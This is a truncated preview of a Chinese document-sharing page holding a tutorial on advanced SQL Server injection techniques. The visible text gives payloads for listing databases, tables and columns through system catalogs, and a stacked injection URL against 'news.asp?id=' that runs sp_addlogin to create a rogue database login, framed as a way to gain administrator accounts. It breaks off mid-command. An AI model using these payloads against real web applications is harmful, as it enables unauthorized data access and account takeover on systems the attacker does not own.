- 22
- 0
- 约1.61千字
- 约 3页
- 2018-03-29 发布于河南
- 举报
SQLSERVER高级注入技巧
SQLSERVER高级注入技巧高级技巧,其它基本的注入方法就不详述了。 看不懂可查本站的注入基础文章。 为了更好的用好注入,建议大家看看本站的SQL语法相关文章 [获取全部数据库名] select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库 [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and status0 and name not in(’table’) [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] select top 1 数据库名.dbo.col_name(object_id(’要查询的数据表名’),字段列如:1) [ where 条件] 通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test news.asp?id=2;exec master
原创力文档

文档评论(0)